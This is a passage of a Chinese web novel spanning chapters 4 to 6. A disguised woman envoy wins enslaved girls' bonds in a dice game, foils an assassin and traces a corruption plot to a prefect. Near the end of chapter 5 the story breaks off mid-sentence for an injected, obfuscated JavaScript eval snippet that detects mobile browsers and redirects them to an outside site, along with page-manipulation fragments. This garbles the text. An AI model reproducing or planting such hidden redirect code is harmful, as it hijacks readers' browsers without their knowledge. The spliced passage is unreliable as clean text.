孟七的脸黑一阵白一阵,万没想到他响当当的名号如今要被这毛头小子查验,他铁青着脸看向大块头,“去库房拿。” 不一会的功夫,大块头身后跟着一排人,每个人都抱着几件古玩字画,“请大人鉴别。” 罗依依一件一件翻看,凑近翰沧问道,“你眼力好,你看看这里面有没有钱伯钧的东西?” 翰沧眼睛倏然一亮,这才正眼仔细瞧着眼前这位样貌俊朗的钦差大臣,方才在县衙他险些落入钱伯钧手中,心中早就笃定这位大人又是个草包大人,没想到…… 罗依依不耐烦地斜了他一眼,“看我干什么,看东西!” “是。小人眼拙,但此处还是有几样钱大人的东西。” 罗依依嘴角微扬,将东西随意一丢,“这些我都瞧不上。” 七爷又问,“哦?不知大人想要赌坊什么物件做赌注?” “我说了,七爷不肯给,又当如何?” 小小钦差,又能提出什么过分条件呢? 孟七爽朗大笑起来,“我开门做生意,罗大人但说无妨,只要说得出口的,赌坊就没有拿不出的道理。” “好。等的就是七爷你这句话。七爷是响当当的人物,自然一言九鼎,”罗依依环顾左右,“我要你赌坊现下所有父亲拿女子抵债的卖身契。” 在场的人无一不吃惊,“这……” 罗依依又道,“怎么?这些卖身契可不值三千两,怎么算也是七爷你占便宜,七爷你不敢赌吗?” 4. 第 4 章 七爷不敢赌吗? 若是不赌,他孟七爷的脸面往哪里放? 孟七也算是这赤地县一霸,什么妖魔鬼怪没见过,什么凶神恶煞没对付过,但对上罗依依那双年轻又挑衅的眸子,心中泛起阵阵无名火。 这小子几次三番打断他说话,而后又对赌坊拿出来的物件挑三拣四,现在又当着这么多手下的面故意激他。 他以为他是谁?钦差大人了不起吗?在这赤地县能不给他孟七三分薄面的人还未出生呢。他若是不把这臭小子按在赌桌上,还怎么在赤地县立足? 孟七咬着牙说道,“大人想赌什么?” ,牌九叶子还是其他什么罗依依修长的手指轻轻敲在木桌上,突然对桌上那筛盅产生浓厚的兴趣,她举起筛盅颠了颠,左手右手反复抛起,又好奇地掏出骰子,细腻的手指白皙的肌肤,三个骰子灵巧地在她指间跳动。 都是些花架子。 孟七嗤之以鼻,嘴上却恭维道,“看来罗大人也是同道中人,平日里也好赌两把?” 罗依依搜刮脑海并没有自己会赌筛盅的记忆,一时间她也解释不清为何自己玩得如此熟练,直言道,“我从未赌过,想来是上辈子的手艺。” 这小子过于嚣张。 孟七额头上青筋凸起,又问了一句,“大人到底想赌什么?若是没想好,恕孟七不能继续陪下去。” “就玩比大小。” 龟奴问道,“大人想玩多大的?” “我不闲,想来七爷也不空,不如大家节约时间。”罗依依伸出食指比了个一,“一把。我们就一把定输赢,如何?” “一把三千两?”孟七问道,“大人倒是有魄力。” 龟奴裂开一口黄牙笑道,“小的愿意为大人掷骰。” 罗依依瞅了一眼龟奴,又矮又肥,脸上长着一颗又黑又大的痦子,痦子上长了一根黑毛,又顺着看到他的手,指甲又长又厚又黑。 一股恶心不停在罗依依肚中翻滚,她嫌弃地说道,“你这手也太脏了,我看着头疼,影响我发挥。” 孟七和站在他身后的大块头脸色一僵,大块头沉着一张脸问道,“大人想要谁伺候?” 罗依依眼皮朝上抬了抬,鸦羽似地睫毛像是毛刷似地抖了几下,眼白都快翻上天了,“我倒是有心说,就怕你这赌坊没有干干净净的人儿。” 孟七笑道,“大人尽管挑,只要是在赌坊内的人都任凭大人差遣。” “嗯……”罗依依托着下巴想了想,“不如就让刚才那女子来吧。” “为何?” 罗依依脸上露出一抹色样,露出一小节纤细的手腕,“因为她漂亮,刚才抓着我的手又软又香,摸得我浑身舒坦。” 韩沧鄙夷地闭上眼,小心地往后挪了一步, 孟七压着火气朝龟奴垂下眼皮,“好,就依大人。” 龟奴将方才冲撞了罗依依的女子押了过来,那女子脸上眼泪已经干涸,眼角尚有泪痕,龟奴瞪了她一眼,她才朝罗依依行了一礼,“婉儿拜见大人。” 罗依依端起茶盏又抿了一口,手肘忍不住撞了撞韩沧,“刚才不觉得,如今看来这小娘子真是秀气灵动,你说是不是?” 韩沧沉着一口气,“大人请自重。” 罗依依嫌弃地瞧着韩沧,“你这人太没趣了,真扫兴。婉儿,来,抬起头给爷笑一个。” 婉儿清了清哭哑的嗓子,倔强地偏过头去,“大人容禀,婉儿不会掷骰子。” 龟奴嘴角笑了笑,罗依依又拿起茶盏浅浅喝上一口,“是不会还是不愿?我看你就是不给本官面子。” “是!”婉儿恶狠狠地瞪着罗依依,用了狠力扯开衣袖,血淋淋的红痕赫然出现在众人面前,“我痛恨这里的每样东西,我阿爹嗜赌,赌得我家倾家荡产,他还把我娘卖给了这龟奴,我娘被气死,如今又把我卖去妓院,你这狗官还要我来给你掷骰子?我呸!” 龟奴道,“既然这姑娘不愿……” “好!”罗依依也不生气,“你不愿,我偏要你来伺候我。牛不吃草,我就偏要按着它吃草,强扭的瓜不甜,但,解渴。” 孟七大掌拍在桌上,桌上的茶盏被震得摔在地上,呵斥道,“大人让你干什么就干什么,哪里轮得到你挑三拣四,开始吧。” 婉儿明显害怕孟七,双手一哆嗦接过罗依依手上的骰子狠狠地摇起来,三个骰子在筛盅里嘀嘀咕咕地转,左转转,右转转。 砰的一声,筛盅敲在桌上。 “大人先请。” “既然罗依依端着茶碗,瞅着这筛盅心里没底又不愿被孟七瞧出来,只能微微蹙眉故作谦让,是七爷的地界,自然是七爷先说话。” 韩沧叹了口气,轻声对罗依依说道,“罗大人,孟七可是龟奴出身,他听骰子的功夫赤地县无人能比,你若是让他先猜大小,必输无疑。” 孟七冷哼一声,蜡黄的牙齿裂开笑了起来,这小子故意找了个手生的来掷骰子,不就是怕我出千。如今我倒要让他看看,即便不出千,这小子也输定了。 “既然大人让我先说,那我就不客气了,我押大。” 罗依依道,“既然七爷押大,那我押小就是了。” 那副画就堪堪落在赌桌上那个大字上。 罗依依勾着眼神对婉儿笑道,“开吧。” 婉儿掀起筛盅,一粒石子掉落出来摔在地上,筛盅之中只有两粒骰子,分别是1和3。 大块头愤怒地拽着罗依依的领口,“你他妈的敢在七爷面前出千?” 罗依依任凭他提着,双脚踮起脚尖,韩沧震惊地看着罗依依的脸,书生气的脸上平静无所畏惧,毫无刚才那般局促紧张。 罗依依只觉领口被掐得透不过起来,“七爷,赌坊规矩,离盅不语,掷骰无悔,难不成七爷不认账?” 大块头压着声音咒骂道,“明明就是你递给这女子时故意塞进去的,你这小子还敢这么说?” “你这么说有什么证据?”罗依依死鸭子嘴硬,横竖自己是朝廷命官,他不敢拿她怎么样,她咬着下嘴唇,“况且开始之前你怎么不查验?” “你堂堂钦差大人简直就是个无赖!” 罗依依冤枉,“哪有无赖能被你这么提溜着的?” 大块头气急了,碗大的拳头就要落在罗依依脸上,兔子急了还咬人呢,她死命抓住大块头的手腕,用力蹬着双腿,扯着嗓门怒吼道,“七爷该不会输不起吧?” “住手!”孟七被 罗依依这吵嚷的声音闹得心浮气躁,一双又黑又大的熊掌慢慢紧握,又慢慢摊开,一双贼溜溜的眼珠子死死地黏在罗依依身上,“大人太小看孟某了,我孟七愿赌服输。” “真的?”这倒是出乎她意料。 大块头站在那里,硕大的块头微微晃动,像是罗依依这人欺负了他似地愤愤道,“当家的,是他出千,为何要你认输?” “松开!你们当家的让你松手,你难道也不听?” 大块头手一松,罗依依跌坐在地上,官帽歪斜地盖在脑袋上,她连忙扶正,从地上爬起来又摆好官威坐回太师椅上。 罗依依不敢看坐在主位上的孟七,可孟七的那双眸子沉得可怕,像是一只被激怒的老虎死死盯着自己的猎物。 罗依依双手压不住地颤着,为掩胆怯她慌忙地抓住茶盏,“七爷,既然我赢了,那……” 龟奴端着一个托盘过来,“这是连同婉儿在内的五十二张卖身契,罗大人您点点。” “不必,”罗依依小手一挥,极其霸气地拿起那一摞往掌心一拍,“七爷是何等响当当的人物,岂会骗我?” 罗依依左手抱着那副价值连城的画,右手拽紧那一摞卖身契走出赌场。 “依依,你不救我了?”罗老三扒拉着罗依依的手臂,哭丧着一张老脸,却被韩沧一把钢刀横在中间,他颤颤巍巍地跪在罗依依面前,“依依,父债子偿,你答应的,会替我还钱的。” “百善孝为先,”罗依依也哭丧着一张小脸,呜呜咽咽地哭起来,“阿爹,我是答应你替你还债,但本朝律法有言,父先亡,您儿子才能替您还债,您看您要么受累先……” “罗大妞!你怎么能这么对你父亲?” “自古忠孝难两全,我是朝廷命官,我选忠就不能选择孝敬您嘞,真是对不起。” 罗依依一抹眼泪,吸了吸鼻子又露出笑颜。 罗老三也抹了一把眼泪,恶狠狠地凑近她说道,“你如果不救我,我就把你是女儿身的事抖搂出来,到时候你假冒钦差的事可就包不住了。” “有胆你就说。”罗依依笑道,“看看孟七会不会信你。再说了,揭穿我对你有什么好处?假冒钦差是要满门抄斩的,到时候你也活不老罗一家子都。” 罗老三眼珠子骨碌一转,又跪下哀求道,“你不能把我留下来,依依,我求求你。” “你求我?”罗依依凑近罗老三,“就像当初我娘跪在地上求你一样?” 罗老三好似没有听清罗依依的话,空洞的眼睛微微转了转,一股热意扑面而来,吹散了夜晚的寒冷。 原来是龟奴正拖着火炉在赌坊门口点灯,红黄交织的火焰印在她眼里像是牡丹花那般妖艳鲜活。 罗依依当着大家伙的面将那一摞卖身契丢进了火炉中,纸张瞬间被火焰吞噬,只有星星点点黑灰飘扬起来,她越过火焰看向韩沧,他亦在深深地凝视着罗依依。 天幕已暗,韩沧的那张面目可憎的脸在明暗交织之下像是恶狼那般可怕,罗依依心中一惊,摸了摸肚子,“也不知阿贵安排得如何了,回到县衙咱们还能不能吃上饭,我都饿死了。” 天色越来越暗,罗依依伸着懒腰打着哈欠大步走在前头,走出赌场一条街,忽地韩沧拉住他的手,“罗大人,有人跟着。” 罗依依瞬间一个激灵,身形灵活犹如脱兔躲在韩沧身后,“是谁?是谁?韩沧,我俩是一同出来的,要是我出了什么事,回头朝 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韩沧说道,“此乃大人私事,卑职不得干预。” “你!” 婉儿见眼前这位凶神恶煞的男人不再看自己,又鼓起勇气求道,“大人,我很好养活的,什么都会做的,大人要我做什么都可以,要是没地方睡,我也可以睡柴房,绝对不会给大人找麻烦的。” 韩沧又是一副你别看我我不管的样子,罗依依摩挲着官服,“我……我实在没有办法收留你。” 陡然闪过的希望又一点点泯灭下去,婉儿擦了擦眼泪点点头。 “……但留你住几日没问题,等我想到其他去处,我会安排自你的。” “谢谢大人,谢谢大人。” 罗依依叹了口气,三人走到县衙时夜已深。 韩沧朝罗依依拱了拱手便回到自己宿舍,刚推开宿舍门就看见罗依依跟在身后冲他嘿嘿直乐。 “大人,夜深了,卑职也忙了一天,先歇息了。” “嘿嘿,”罗依依摘下官帽,乐呵呵地冲他直乐,完全没有白日那副官威,谄媚地问道,“韩大哥,你饿不饿?我是饿透了,正吩咐他们送点吃食过来,你今日陪我出了一天公差,自然也饿了。” “下官不得与上官同桌而食,这是规矩,大人请回屋,我自会去后厨领几个馒头。” 罗依依嘴角一抽,干裂一张嘴不知是笑还是哭,“不必和我客气,我是上司,你跟着我出生入死,我自然也要体谅下属。” “大人体恤下属是大人的事,卑职不能这般僭越,”韩沧嘴角扬了扬,自打认识他,罗依依就不曾见他笑过,面目僵硬不可怕,如今见他笑了,她心底倒是有点怕了。 罗依依又道,“况且这县衙里也没有我住的卧室。” “谁说没有?钱大人之前的屋子……” “不行,我洁癖,这死肥猪住过的屋子,一股子猪油味,我想想就恶心。” 韩沧目不斜视,端起桌上的凉茶一饮而尽,“大人多虑了,白日大人说要暂代县老爷的位子,已经有婶娘提前打扫过了,想来一定是干净的。大人请回屋歇息吧。” “韩沧,你故意的吧。” “卑职不知大人说这话何意?” 罗依依见软的不行,只能来硬的,“你这人怎么油盐不进?是不是想和死肥猪一样关进大牢?” 韩沧双手手腕相对放在胸前,“大人是钦差,领的是黄命,皇大人想要办卑职,卑职绝不抵抗。” “我……我可没这么说。我堂堂钦差大人关心你,你怎么不识好歹?” “大人是真心关心卑职吗?”韩沧淡淡地问道,“难道不是今日在赌场过于嚣张,大人怕孟七心胸狭窄,晚上派人来刺杀大人吗?” 韩沧怎么能这么聪明? “我不妨告诉大人,孟七这种道上混的人特别爱重面子,你今日这般大胜而归如同把他的脸面踩在脚下,他肯定不会就此善罢甘休,少则一个时辰,多则三个时辰,大人见不到明日的太阳。” 罗依依清了清嗓子,官威又摆得足足的,“韩沧你与我……本大人英雄所见略同啊,你也看见了,那个赌坊里有钱伯钧的财物,孟七肯定和钱伯钧那个死胖子脱不了干系。死胖子能贪这么多,上头肯定有人罩着他。若是不把背后的人查清楚,我们都自身难保。” “这都是上差的事。”韩沧做了个请的动作,“大人若是没有其他吩咐,请自便。” “韩沧你明知钱伯钧不可能只贪墨一百两,那些钱肯定藏在别处,这些都是民脂民膏,是赤地县百姓的血汗钱,你为何不肯帮我?” “那就要看大人。”韩沧犀利的眼眸看向罗依依,“罗大人若是对我说实话,我可考虑保护大人,若是不说实话,我也只是差役,无足轻重。” 罗依依心里一咯噔,难道她的秘密被发现了? 5. 第 5 章 “嘶~” 罗依依脱下官服,扯开裹住胸的白布,浅浅的粉色混着些许香汗印在白布之上,伤口上的纱布早就浸透了鲜血。 罗依依感到一阵目眩,天旋地转,额头上冒着冷汗,她手掌撑在桌上,手指颤抖着揭开已经凝上血痂的纱布,“嘶~啊……” 她仰着脖子忍不住疼喊出了声,原本娇嫩的皮肤越发透着惨绝的白。 纱布上的血痂又被揭开,鲜血瞬间顺着伤口蛄蛹出来,她的脑袋几乎像是裂开似地疼,却始终想不起来自己为何会摔下悬崖,确切地说她什么也记不起来了,好在阿贵在悬崖上采药认出了自己,不然她就连自己是谁都不知道了。 “大人可安好?” 门外是韩沧的声音,他推了推门栓并未进门,双腿挡住了门缝透进屋的月光。 罗依依喘着粗气将染红的纱布丢进竹篮里,“我没事,就是累了。” 韩沧洞察细节,又有审问犯人的经验,是个难缠的差役。 方才僵持时他问罗依依,“我有几个问题要问大人,如若大人说实话,我乐意帮忙。” 罗依依心中一颤,若是他问我究竟是不是钦差,我该如何作答? 但眼下没有几个时辰便要天亮,若是孟七的打手已经出发,她便只有几个时辰的寿命了。 “罗大人,你为何会想到去赌坊追查钱伯钧财物的线索?” 罗依依暗暗松了一口气,汗湿的手心贴在官服上,“这死肥猪房虽然陈设简单,但不乏有大师真迹,这些画作就算在京城都不一定能见到,却出现在赤地县小小县太爷的卧室里。这些真迹他一个人销不了赃。” 韩沧又问,“销赃的地方有许多,为什么是赌坊?” 罗依依脸颊泛红,如实道,“我猜的。” 韩沧:…… “销赃的地方不在赌坊就在当铺,我只是运气比较好,押中了宝而已。” 韩沧点了点头,胸膛起起伏伏,似下定了某种决心,“大人捉拿钱伯钧时曾手拿一封信封,这其中可有我大哥被害证据?请大人如实回答我。” “我……”罗依依掏出她藏在怀中的那封带着血手印的信封,韩沧慌忙接过,见信封封口完好无损,并没有拆开的迹象,阴郁的眼睛还看了一眼罗依依,身为差役他知道这意味着什么。 他目光一沉等待罗依依开口。 “韩沧你可知这封信里写着什么内容?” 韩沧摇头,但经过这一日他也猜测到其中内容。 “这封信是一份名单,记录钱伯钧这些年来侵吞的赈灾粮款,还有与这件事有关的官员名字。” 韩沧目光中闪出亮光,“既然如此……” “但,”罗依依双唇微颤,她一直有些害怕韩沧的眼睛,这双眸子好像能看穿一切似地,可此刻她正视他。 “这封信是假的,是我伪造的。真正的名单连同你大哥都被钱伯钧派去的杀手给毁了。” 一道银光乍现,冰冷锋利的刀锋横在罗依依脖子上,韩沧那凶狠如猛兽的目光露出杀意,他爆喝一声,“我说过你敢骗我我就杀了你。” 罗依依慌忙道,“你不能杀我,本官……乃是朝廷的钦差大人。” 韩沧青筋凸起,暴虐道,“钦差?山高皇帝远,这世道乱得很,我怕什么?” 罗依依害怕极了,比起刚才面对孟七更害怕,“那夜下着大雨,你兄长穿着夜行衣快马出城,阿贵认出了他,他可以作证。” “阿贵是你的人,他的话不能信。” “好,不能信,那我便说些能信的,”罗依依不罢休,强忍着伤口的疼,“如果我没猜错,那日应该是你在县衙值守,你兄长找了个由头差你离开,才偷了一匹马想要将证据送出城。” “别说了别说了!”韩沧原本凶猛的眸子瞬间红了起来,如同月圆之夜嗜血的狼,满是恨意,“你再说我就杀了你!” “你这般不甘心,是不是因为那一夜原本死的该是你?” 韩沧丢到手中的刀,双手死死掐住罗依依纤细的脖子,“我要杀了你!” 罗依依闭上眼睛,“韩沧,真相如何我也不知,但你是差役,干的就是捉拿犯人的活,你应该能推断出来。而我现在做的一切都是为了找到证据,你确定要现在结果我吗?” 罗依依摸了摸脖子,刚才手掌印还未驱散,不过好在韩沧答应今夜保护她。 韩沧站在门外并未离开,犹豫了片刻,“大人,我还有最后一个问题,你父亲为何要叫你罗大……妞?” 坏了!忘了这茬了。 罗依依忍着疼轻轻用纱布擦拭身上的伤,雪白的牙齿紧紧咬住纱布,又将止血散倒在伤口上,疼得青筋暴起。 “大人?这和我们所某之事无关,我只是好奇,大人可以不答。” 又有一个声音插了进来,“韩大哥,你听错了,他叫罗大人是大牛,不是大妞。” 罗依依的声音从屋内传来,“阿贵说得没错,你也知道农村人是这样的,歪名好养活。” 吱呀一声,门开了。韩沧向罗依依行了礼便退到了暗处。 阿贵满脸笑着从怀里掏出一个荷叶包,“大人,我给你整了一只烧鸡,还热着,你趁热吃。” “烧鸡?”罗依依眼睛瞪得如同铜铃一般大,“你放茶叶烤过没?” 阿贵笑得眉眼弯弯,“当然咯,你千叮咛万嘱咐的,我怎么能不照做呢。” 罗依依如水葱似地指尖撕开荷叶包,肉香混着浓茶的焦香飘然入罗依依的鼻子,她拿捏着荷叶一角扯下鸡腿,心满意足地大嚼了一口。 阿贵心疼地问,“饿坏了吧。好吃吗?” “好吃。” 罗依依老实地点了点头,“我真的饿死了,我在赌场的时候肚子就饿得不行,偏偏孟七还不让我走。” 阿贵 “赌场办事还顺利吗?” 罗依依摇摇头,“我们倒是发现了一些钱伯钧的赃物。” 阿贵猛然站起来激动地说道,“那还愣着做什么,带上县衙差役抄了去!” “你是不是抄家上瘾了?”憨憨地挠了挠头,低声说“你还别说,今日真痛快。” “先不急,我们要抓的是他幕后之人。待一切尘埃落定,小小赌坊查抄起来易如反掌。” “我信阿姐,”阿贵道,“阿姐,我觉得你变得不一样了。” “哦?哪里不一样?” 阿贵转了转眼珠子,月光之下的罗依依越发清减亮丽,如同夜幕中的那一轮明月那般透亮,“我也说不清楚,就是觉得不一样了。你以前可不会让我烤鸡的时候加茶叶沫子,你啃鸡腿的时候也不会用荷叶包着。” 罗依依笑道,“是不是觉得我特别烦?” “不烦。”阿贵摇摇头,“挺好的。” 烛火之下阿贵的眼睛黑如点漆,炯炯有神,罗依依贪婪的目光倒是一直黏在鸡腿上,“你去看过我娘了吗?” “阿姐放心,我头一个就去了你屋里,婶子已经服下药也喝过小米粥了,就是她念叨你,让你赶紧回家。” 罗依依是饿坏了,吃得极快,“明日我得空回去我趟。” 阿贵又伸手就着荷叶掰了一个鸡翅递过去,四处张望了一下才压低声音道,“阿姐,你给我的一百两银子救治了街坊们,又给韩沧他们发齐了拖欠的俸禄,他们打心底现在里感谢阿姐你呢。” 罗依依点点头,“你做得对。” “就是还剩下点碎银子,我得空回趟村就给婶子送去。” “你可别,”罗依依说道,“银子不能到我娘手里,不然肯定被罗老三搜刮干净。剩下的银子你留着,这里的事也用不上你,你明日就回去好好温书,日后进京赶考多得是地方用银子。” “不,阿姐,我要跟着你。” “胡闹!”罗依依吐出来的鸡骨头抱在荷叶中,用纱巾擦了擦嘴,“阿贵,我待你如何?” “阿姐待我好,自打我娘过世爹就没人除了我娘就么对我。” “你既然叫我阿姐,我就要有阿姐的样子,我如今干得是掉脑袋的活,你跟着我有何出息?”罗依依说道,“不如好好回去好好温书将来考取功名。” 阿贵点点头。 深夜整条巷子黑得像沉进水底,只有县衙大门口挂着两盏红红的灯笼,还透着一丝昏黄的。 白日大多数灾民已被阿贵移送到医馆或是客栈照料,如今沿街上空无一人,晚秋的夜风刮过,卷起一片枯叶,沙沙地滚过去,倒也不再特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353368|199658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒冷。 巷口,一个人影贴着墙根已等着多时,此刻打更的棒子刚打了一声,他便缓缓移动。 此人黑布蒙面,短衣紧身,脚下是软底的官靴,踮着脚尖踩在青石板上,比猫还轻。他右手垂着,握一柄解腕尖刀,刀身涂了墨,月光照上去也不反光。 他特意绕到县衙后门,一跃而起,脚尖落入内院时全然没有声响。赤地县县衙他来过好几次,都是替上差来办事,熟门熟路的。 此人前前后后将县衙后堂转了个遍,最后才停留在那扇门前。窗纸透出的那点昏黄,今晚的云格外的厚,遮着月光时明时暗。 他将黑面罩往下拉了拉,露出一双凶目顺着门缝朝里看,整间屋子黑得像块石头,没个活气。 他贴到墙边缓缓蹲下,从靴筒里摸出一个小竹筒,顺着窗户纸缝透进几缕迷药。 这种迷香燃起来只消半盏茶工夫,屋里的人便是烂泥。 他迅速推开门摸索到床边,尖刀刀尖挑开帷幔,刀尖向下朝着床上棉被凸起一块命中命门,狠狠刺下,一击即中。 软成一坨棉花。 手感不对! 他将棉被一掀,一道寒光闪过,他迎面接住,只可惜他的那把刀太短,那一刀又太猛,他抵挡不住,猛然间退开半步。 韩沧的刀如同他的眸子一样凶狠,一招一式都下了狠劲,那人没料到屋中之人攻势这么猛烈,硬生生又被后退半步。 忽听得一声,“韩沧,他在衣架后头。” 黑暗中此人闻声辨人,听出了是罗依依的声音,那把黑刀如同狼见肉扑跟过来,罗依依眼见那人冲了自己来,猛然大叫一声,胳膊被身后人一把拽了过去。 “大人,别怕,我护着你。” 阿贵挡在罗依依身前,杀手见时机已失,怒气滔天,一把将阿贵推在地上,官靴踩在他手背上,疼得阿贵直咧咧。 “阿贵!” “哎呦喂!大人你快逃,他过来了。” 阿贵顾不得疼痛,爬又爬不起来,黑暗中又瞧不见罗依依在哪,急得骂道,“该死的兔崽子,有本事冲着你阿贵爷爷来,不要找我家大人。” “阿贵你有没有事?你有没有伤着?” “我……” 罗依依气得不行,掏出怀中的火折子,吹了一口气,那一点点的亮光刚亮起就被韩沧一踢,“胡闹!你俩保持安静。” 罗依依捂住自己嘴,蹲在地上,火折子在地上滚了一圈转到她脚边,她灵光一闪,忽地大叫起来,“你不就是来找我是吗?我在这,你来呀。” “你躲起来作甚,你不就是来杀我的吗?你这个孬种,有本事别躲着,出来啊。” 此人啐了一口骂道,“你这小子太嚣张了。”一气之下惊了动静,恰巧给韩沧得了空挡,一把钢刀刺进一团肉里。 其他闻声的差役见是韩沧的声音一拥而上。 “抓着了抓着了!” 阿贵笑着直竖大拇指,“大人,韩大哥真是好身手。” “阿贵你不要命了?”罗依依劈头一巴掌劈在阿贵脑门上,“刚才多危险啊。” “好了,大人,我这不是好好的嘛。”阿贵憨憨地挠头,小手拉着罗依依,“走,快点大人,出去看热闹去。” 罗依依出门就见到一个黑衣人双手绑在身后跪在院里,阿贵走在前头对上那杀手的目光又吓退了半步,忙偷眼去看韩沧,见他横刀大步站在一旁,阿贵也仰着下巴狐假虎威地扯开杀手的面罩。 “说,你是谁派来的?” 阿贵上去就是一巴掌,“我家大人问你话,你快回答。” 此人道,“要杀要剐悉听尊便。” “你不说我也知道,”罗依依坐在石凳上,平静地望着杀手,“七爷是输不起,想要拿回我的命去,对吧。” “哼,”杀手斜眼向上一挑,对上罗依依冷笑,“大人未免也太小看七爷了。” 阿贵笑道,“还小看?你一个龟奴敢这么对大人说话?” “你他娘的才是龟奴,你全家都是龟奴!” 罗依依觉得此人这话哪里蹊跷,一时间又说不上来,她眯缝着眼睛来回踱步,脑中猛然闪过一道灵光,与韩沧对视一眼。 “坏了!” 6. 第 6 章 罗依依抛下疑惑的众人不管不顾发疯似地跑向地牢。地牢的门开了一条缝,门锁摔在地上。 她虽然已经猜到结果但还是冲进地牢,一下台阶便看见两条尸体横在地上,鲜血混着钱伯钧肚子里的肥油流了一地,恶心又恶臭。 罗依依捂住嘴巴忍住心底的恶心,疯了似地扯着自己头发,恨不能抽自己嘴巴,“都怪我都怪我,我也太笨了,怎么能想不到这一层!我怎么能这样,光顾着自己安危,没想到他是来灭口的。声东击西,这孟七好手段!” 韩沧站在身后,沉默不语。 “如今线索都断了,钱伯钧的钱找不到了,你哥的死因找不到了,”罗依依像是个孩子似地蹲在地上,再也忍不住肚中翻滚,那只烧鸡哇的一声全都吐了出来。 “你怪我吧。是我不对。” 韩沧蹲在地上查看尸体,扭头冲着门口喊了一声,“来几个兄弟,把尸体抬出去,再去县东找仵作来查验尸体。” 罗依依愤愤地吼道,“都被人灭口了,还验什么验?” 那几个差役看了看韩沧又看了看罗依依,一时间不知该进还是该退。 一个平日里总是跟在韩沧身后的差役怯怯地开口道,“罗大人别着急,我等先去找仵作,兴许能查出些线索。” “你管他作甚!”韩沧朝着那位小兄弟一努嘴,冷冷笑道,“大人是京官,平日里自然是顺风顺水的。我等不一样,平日里办个差,对付的都是刁民穷鬼,要想查出点线索没这么容易。若是大人想打退堂鼓,我不拦着,反正我哥的死我要查个明白。” “你们几个还愣着作甚吗?还不把人抬出去?” 那几个人一听韩沧发话,麻溜地搬来担架。蹲在地上的罗依依止住了吐,眨巴眨巴眼睛看向韩沧,见他头也不回地走出地牢。 “你等等我。”罗依依快走几步追上他问道,“你打算怎么查?” 韩沧道,“两个死了,不是还有一个活口吗?” “院中那个?”罗依依摇头,“这人看起来嘴硬得很,怕是撬不开嘴。” “审问犯人需要手段。” 罗依依像是蔫了的海棠花耷拉着脑袋垂头丧气,“你刚才又不是没在院里,饶是你再有手段,人不说话,你也拿人没办法。” “他不开口,难道我们就没办法了?”韩沧阻止罗依依走出地牢的步伐,拉住她躲在假山后头,他俩站着的地方刚巧能看到那杀手,“大人请看看此人,可看出什么来?” 罗依依一手扒拉着假山,从上到下仔细地看了好一会,“此人不像赌坊中的人,他穿的是官靴!” “嗯。” “他自打被你捆上就没正眼瞧过我们,”罗依依来回踱步,想了片刻,“孟七就算再嚣张也对我恭恭敬敬,由此可见此人背后的人不是孟七。” “大人明鉴。” 罗依依问,“那会是谁呢?” 韩沧沉默不语,罗依依掀起衣袖,细胳膊细腿颇有打架的架势,韩沧生怕这不安常理出牌的罗大人又出幺蛾子,赶紧问道,“大人打算怎么做?” 罗依依的眼睛贼亮,如同天上挂的星星一闪一闪落在韩沧眼里,刚刚吐过嘴里发苦,她抄起水杯含了一口凉茶咕嘟咕嘟漱了漱口,“你不懂,审问犯人需要手段。” 韩沧:…… 她走到刺客面前,大声咳嗽了一声,“今日大家伙都累了,扰烦各位先把此人关在柴房,本官要仔细审问。” “是。” 杀手既然落在此处,本来已做好有去无回的准备,可没曾想这位钦差大人竟只将他关在柴房,扯着嗓子喊道,“我不是说了要杀要剐悉听尊便,你杀了我便是。” 罗依依双手叉腰,“我凭什么听你的,你算老几?我告诉你在这赤地县,我才是老大。你要我杀,本大人偏不杀,各位兄弟可要给我捆紧了,被他逃了,我可不依。” “卑职遵命。” 这回轮到此人心里七上八下的,如同头顶上悬着一把刀,盼着早死早托生,可这位罗大人偏不让他死,他也吃不准这位钦差的意思,又不敢睡觉,斜着身子靠在草垛上,好不容易等着脚步声都消停了,他才缓了一口气。 忽悠听得一声轻轻地脚步声。 此人猛然抬起头,伸手去撩腰间短刀,恍惚间才想起自己被捆得动弹不得。 “来者何人?” 罗依依从月光下走来,脸上的表情晦涩不明,此人问道,“你……又来这干什么?” “嘘!”罗依依捂住刺客的嘴,抽出尖刀。 “你……你要干什么?”此人双手被绑着动弹不得,震惊地看向罗依依,第一次觉得被一个瘦鸡仔拿捏住了。 罗依依手起刀落,干净利落。 “大人这是要放了我?” 将死之人透过光嗅到了能活的机会,岂会轻易放弃。 “你先别说话,先听本官说。本官有几句话要问胡知州。” 那个杀手眼睛里猛然一亮,又垂下眼皮不看罗依依。 “胡知州?我不认识什么胡知州。” “呵,当真不知?” 罗依依抖落几下衣衫上的灰尘,“你不答也无妨,本官只想让你给胡知州带个话,查抄钱伯钧是本官无奈之举。此人犯的错太多,注定是保不住的,但这是本官的地界,胡知州的手未免也太快了点,本官还未从他嘴里撬出最有用的东西。你去告诉胡凌齐,他坏了本官大事,本官迟早收拾他。” “有用的东西?” 罗依依眉眼舒展,也不再继续说下去,只道,“你回去转告胡知州若是他肚子大眼珠子小就指着那些灾粮灾款,权当我没说,若是他还想捞一票大的,他就得听我的。” 罗依依将那封带血的信封塞进杀手怀里,掏出匕首割开他手上的麻绳,“这封信就是本官的投名状。去告诉胡知州,本官等着他的答复。” “大人就这么放他走了?” 罗依依一转角,韩沧躲在暗处,“韩沧,人吓人要吓死人的。” “大人如何得知此人背后是胡知州?”韩沧瞅了一眼罗依依,一道寒光立马识破了她,“不会又是猜的吧。” “谁说的!原来你就是这么看我的,难道我断案全靠猜吗?” 罗依依震惊地看着韩沧,满脸的受伤与委屈,韩沧低下头作揖,“是卑职误会大人了。” 罗依依点点头,双手负在身后,官威摆得足足的,“你知道错就好。” “那大人是早就识破了此人?” “我是诈他的。” 韩沧:…… “你这是什么表情啊,就算是诈,我也是有理有据的,”罗依依双手叉腰,“知县上头就是知州,一根绳上的蚂蚱,钱伯钧虽然是个死胖子,但是侵吞赈灾粮款这么大的事,这个死胖子吞不下去,也没这个胆子。” 